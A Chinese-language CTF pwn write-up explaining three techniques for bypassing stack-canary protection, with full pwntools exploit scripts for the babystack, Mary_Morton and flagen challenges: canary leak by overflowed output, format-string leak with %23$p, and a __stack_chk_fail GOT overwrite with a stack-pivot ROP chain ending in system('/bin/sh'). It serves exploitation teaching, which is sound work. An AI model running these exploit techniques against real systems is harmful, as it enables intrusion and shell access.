[pwn]ROP:三道題講解花式繞過Canary棧保護

繞過Canary棧保護

Canary棧保護

Canary是一種棧保護手段,通常通過在棧中插入cookie信息(一般在ebp上方),在函數返回的時候檢查cookie是否改變,如果改變則認爲棧結構被破壞,則調用一個函數強制停止程序。當開啓Canary保護的時候不能通過傳統的棧溢出直接覆蓋返回值劫持EIP。Canary在彙編代碼中表現爲:
在這裏插入圖片描述
從棧底拿出事前插入的cookie,然後和fs:28這個數對比,相同就正常返回,不相同會調用stack_chk_fail函數結束程序。下面通過兩個例題來學習繞過Canary棧保護:

cannery棧中溢出變量可輸出信息泄露canary:babystack writeup

題目地址:babystack(pwn1)

查看安全策略:
在這裏插入圖片描述
開啓了除了PIE之外的所有保護,看一下函數的反彙編代碼,瞭解起邏輯:
在這裏插入圖片描述
直接就找到了溢出點,s距棧底0x10長度,但卻讀入了0x100長度的數據,但由於開啓了Canary如果直接輸入超過長度的數據破壞了cookie,就會導致棧檢查失敗結束程序。
在這裏插入圖片描述
程序邏輯差不多就是1功能是輸入字符串,2功能輸出剛輸入的字符串,3退出,很簡單。除此之外題目提供了目標環境的libc文件,我們可以直接使用onegadget獲取onegadget地址。接下來就是考慮如何獲取Canary值然後拼接到payload之中,然後就可以安心的使用溢出來控制程序了。首先要獲取libc的真實地址,可以使用puts輸出一個函數的地址,然後計算,最後使用onegadget的值覆蓋EIP完成getshell,使用gadget獲取onegadget:
在這裏插入圖片描述
在這裏插入圖片描述
可以看見在main函數返回之前,Canary檢查cookie之前將eax置爲0了,所以可以直接選取這個gadget。接下來考慮如何獲取cookie值。整個main函數棧場景大致如下:
在這裏插入圖片描述
那麼我們可以通過輸入0x88個’a’然後使我們輸入的內容直接拼接到cookie的前方,只要cookie之中沒有\x00那麼在輸入我們的字符串的時候就會將cookie從末尾“帶出來”。而一般來說,cookie一般是末尾是\x00。可以做一下實驗,輸入0x88個’a’試試看:
在這裏插入圖片描述
如圖,輸出的時候後面的一些亂碼就是被帶出來的cookie。關於cookie的具體位置,一般是ebp的上方,不確定也可以動態調試看一下,最後交給ecx寄存器的就是cookie,然後數一下溢出點距cookie的距離即可:
在這裏插入圖片描述
獲取了cookie之後,然後將cookie拼接在payload的相應位置就可以完成了,但在使用onegadget之前,要先獲取一個libc之中函數的地址,我們可以通過puts函數輸出自己的地址來計算,這又涉及到一個pop rdi;ret的gadget,很容易就可以找到,只要找到pop r15;ret就可以了:
在這裏插入圖片描述
然後就沒什麼難度,唯一需要注意的就是puts函數使用完畢要記得返回主函數,具體exp設計如下:

from pwn import *

p=remote('111.198.29.45',49269)  
elf=ELF('./babystack')
libcelf=ELF('./libc-2.23.so')
one_addr=0x45216             #onegadget地址
rdiret_addr=0x0400a93        #pop rdi;ret地址
main_addr=0x0400908          #main函數地址
put_plt=elf.plt['puts']      #puts的plt表和got表
put_got=elf.got['puts']

p.recv()
p.sendline("1")
payload='a'*0x87+'b'         #一堆a最後帶一個b好區分
p.send(payload)

p.recv()
p.sendline("2")
p.recvuntil("ab\n")          #接收到'ab'爲止,後面就是cookie
stack_v=p.recv(7)            #cookie長度8,但最後一字節是0
stack_v=u64(stack_v.rjust(8,'\x00'))   #一般會接收7位(cookie最後一字節大概率是\x00,需要補齊)
print hex(stack_v)
p.recv()
p.sendline("1")  

payload='a'*0x88            #padding
payload+=p64(stack_v)       #cookie
payload+='a'*8              #cookie和eip之間還有一個ebp
payload+=p64(rdiret_addr)   #返回到pop rdi的地方
payload+=p64(put_got)       #puts要輸處的參數,puts內存中的地址
payload+=p64(put_plt)       #調用puts函數
payload+=p64(main_addr)     #最後返回main

p.sendline(payload)
p.recv()
p.sendline("3")     #先要退出才能觸發payload
put_addr=u64(p.recv(8).ljust(8,'\x00')) #接收puts函數內存中的地址,可能接收不齊,用\x00補齊
print hex(put_addr)

one_addr=one_addr+(put_addr-libcelf.symbols['puts']) #計算onegadget內存中的地址
p.recv()
p.sendline("1")
payload='a'*0x88+p64(stack_v)+'a'*8+p64(one_addr)  #還是同樣原理構造payload
p.sendline(payload)
p.interactive()

需要注意的是,puts函數遇到\x00就會停止輸出,所以有時候地址之中有\x00就會導致接收到的地址不對,也就是說並不能百分百保證每次exp都能成功getshell:
在這裏插入圖片描述

printf任意地址讀取信息泄露canary:Mary_Morton writeup

題目地址:Mary_morton

首先查看保護:
在這裏插入圖片描述
也是基本除了pie全開啓了。

然後看一下函數邏輯:
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
乍一看好像給了兩種漏洞可以選擇,但事實上我們必須聯合使用兩種漏洞纔可以通過。因爲開啓了Partial RELRO,我們不能通過格式化字符串漏洞去改寫plt表,因爲開啓了canary我們不能直接溢出,而也沒有像上一題那樣的輸出函數,也不能採取將canary“帶出來”的方式。值得注意的是,本題給了flag函數:
在這裏插入圖片描述
雖然不能通過單一漏洞getshell,但聯合使用兩種漏洞還是可以的,我們可以通過格式化字符串漏洞的任意地址讀來讀取cookie的值,因爲cookie是不變的,也就是說,在一個函數中的cookie和在另一個函數中的cookie是相同的,所以我們通過格式化字符串漏洞讀取的cookie也可以用在溢出之中。
在這裏插入圖片描述
查看格式化字符串所在函數棧結構,cookie在棧頂向下第18行,因爲是64位程序,函數的前6個參數在rdi,rsi,rdx,cx, r8, r9之中然後纔到棧中,所以cookie屬於“第24個參數”,使用格式化字符串漏洞讀它的語法應是:%23$p。

獲取了cookie 之後,我們只需再利用棧溢出,將cookie拼接在其中,然後調用cat flag的函數即可,程序沒有開啓PIE,不需要再讀地址計算了。可以直接利用,exp設計如下:

from pwn import *
p=process("./83d2fafc75b046e0ad93f8583dfea1d1")
flag_addr=0x4008DA  #獲取flag函數

p.recv()
p.sendline("2")
payload="%23$p"   #格式化字符串漏洞語法
p.sendline(payload)
p.recvuntil("0x")
stack_v=int(p.recv(16),16)  #獲取cookie值


p.recv()
p.sendline("1")
payload='a'*0x88+p64(stack_v)+'a'*8+p64(flag_addr)#棧溢出利用
p.sendline(payload)
p.interactive()

成功獲取flag:
在這裏插入圖片描述

劫持_stack_chk_fail函數:flagen writeup

江湖慣例,首先查看安全策略:
在這裏插入圖片描述
開啓了canary和NX,懷疑是棧相關題目,然後沒有full relro說明可以改寫got表。看一下程序邏輯:
在這裏插入圖片描述
看到了個菜單還以爲是堆得題,但仔細一看和堆得菜單不怎麼一樣。IDA查看一下各個函數功能。
在這裏插入圖片描述
每一次輸入新flag之前會將之前的flag free掉然後重新申請一段空間,沒發現什麼利用手法,這裏不能用第一次申請一段空間然後釋放再申請一個4字節的然後輸出泄露地址。因爲這裏只申請一個空間然後釋放會直接交還給topchunk而不會鏈入bins表中。

然後upPercase(我改名的)和lowPercase都是將輸入的內容中的大小寫轉換的函數,沒有什麼利用點,但是在leeTify函數中存在利用點。leeTify函數的功能是將一些字母換成相似的數字,比如A換成4,O換成0等等,但這裏將H換成了1+1:
在這裏插入圖片描述
這樣就會使我們輸入的內容變長產生溢出:
在這裏插入圖片描述
但如果粗暴的溢出會導致覆蓋canary而溢出失敗。由於程序中對每個字符串結尾都加了0導致找了好久都沒找到信息泄露,但無意間看到了這句代碼:
在這裏插入圖片描述
拷貝字符串到dest(函數參數)在檢查canary之前,在彙編中結構如下:
在這裏插入圖片描述
只有成功調用 ___stack_chk_fail函數纔會導致程序異常,而本題目又是32位的,那麼就可以覆蓋dest的地址然後劫持 _stack_chk_fail函數使程序調無法調用到真正的 _stack_chk_fail即可,看下面棧結構圖:
在這裏插入圖片描述
標註的就是EBP,EBP上面是canary,下面是EIP,再下面指向堆得指針就是參數dest。畫圖表示:
在這裏插入圖片描述
如果輸入的數據中有多個h經過leeTify函數之後編程了1+1那麼就會導致溢出,如果溢出長度覆蓋到了dest,那麼就會改變dest的指向進而使最後的拷貝拷貝到一個可控的地址,假如我們精心構造使dest的值被覆蓋爲_stack_chk_fail函數的got表,那麼到時候strcpy的時候就會覆蓋got表:
在這裏插入圖片描述
但問題是strcpy是一下子拷貝所有而不是隻將other_addr拷貝過去,而我們也不能用\x00截斷,那麼之前的邏輯又過不去了。所以我們要保證__stack_chk_fail後面的got表不變,也就是說再講這些got表的值覆蓋回去,查看一下 _stack_chk_fail後面有哪些:
在這裏插入圖片描述
然後構造一個覆蓋got表的got表:

leave = 0x080485d8 #leave; ret
#len=9  stackchkfail strcpy malloc   puts   start  setvbuf   sprintf   atoi 
got2 = [leave, elf.plt['strcpy']+6, elf.plt['malloc']+6,elf.plt['puts']+6,\
elf.plt['__gmon_start__']+6, elf.plt['__libc_start_main']+6, elf.plt['setvbuf']+6,\
elf.plt['snprintf']+6, elf.plt['atoi']+6]

除了將stack_chk_fail覆蓋爲leave; ret之外其他不變,依然指向plt表(plt表要跳過最開始的6字節)
在這裏插入圖片描述
之後還需要一些小gadget,比如pop;ret,這個就可以:
在這裏插入圖片描述
然後就是構造rop鏈,之前需要精心計算一下h的數量,src長度是0x10c=4*9(9個got表)+77*3(77個h)+1(隨便一個字符),接下來就是ROP鏈,這裏ROP的構建非常牛逼,也是我從另一個地方學來的:

payload = "".join([p32((x)) for x in got2]) + "h"*77 + "a" + p32(new_ebp) + p32(popret_addr) + p32(Dest) + p32(puts_plt) + p32(popret_addr) + p32(read_got) + p32(readString) + p32(leave) + p32(new_ebp) + p32(24) 

其中readstring是這個函數,我改名了,有兩個參數,第一個參數是地址,第二個是size:

在這裏插入圖片描述payload被leeTify函數操作之後會變成:
在這裏插入圖片描述
當函數返回之前調用stack_chk_fail的時候其實調用的就是leave; retn,leave將ebp劫持到new_ebp所處的位置(有什麼暫時未知)然後依次指向puts(read_got),和readString(new_ebp,24),那麼現在就等我們向new_ebp處寫東西了,count是我們要寫入的字節數,可以寫的很大,但24足夠。但值得留意的是readString執行之後的返回地址又是leave,也就是說還會執行一次leave,那麼這次就會將esp也劫持到new_ebp這裏,然後會將這裏的第一個值pop給ebp然後返回,也就是說又回到了一個我們完全可控的棧,我們輸入的內容就是這個新棧的內容,接下來輸入:

payload = p32(new_ebp) + p32(system_addr) + p32(0xffffffff) + p32(new_ebp+16) + "/bin/sh\x00"

那麼新棧就會變成:
在這裏插入圖片描述
那麼leave之後ebp和esp就會同時指向new_ebp,然後retn直接retn到system函數,system的參數就是指向/bin/sh的指針。下面是完整exp:

from pwn import *

elf = ELF('flagen')
p = remote("114.115.190.15",40035)
libc=ELF('./libc6-i386.so')

leave = 0x080485d8 #leave; ret
#len=9  stackchkfail strcpy malloc   puts   start  setvbuf   sprintf   atoi 
got2 = [leave, elf.plt['strcpy']+6, elf.plt['malloc']+6,elf.plt['puts']+6,\
elf.plt['__gmon_start__']+6, elf.plt['__libc_start_main']+6, elf.plt['setvbuf']+6,\
elf.plt['snprintf']+6, elf.plt['atoi']+6]

new_ebp = 0x0804b610  
Dest = elf.got['__stack_chk_fail'] 
popret_addr = 0x08048481 #pop ebx; ret
puts_plt = elf.plt['puts'] #puts_plt@plt
read_got = elf.got['read'] #read@got
readString = 0x080486cb

#0x10c=4*9+77*3+1
payload = "".join([p32((x)) for x in got2]) + "h"*77 + "a" + p32(new_ebp) + p32(popret_addr) + p32(Dest) + p32(puts_plt) + p32(popret_addr) + p32(read_got) + p32(readString) + p32(leave) + p32(new_ebp) + p32(24) 

p.recvuntil("Your choice: ")
p.sendline('1')
p.sendline(payload)
p.recv()
p.sendline('4')

p.recvuntil("Your choice: ")
read_addr = u32(p.recvn(4))
system_addr = read_addr-libc.symbols['read']+libc.symbols['system']

payload = p32(new_ebp) + p32(system_addr) + p32(0xffffffff) + p32(new_ebp+16) + "/bin/sh\x00"
p.sendline(payload)

p.interactive()

成功getshell:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章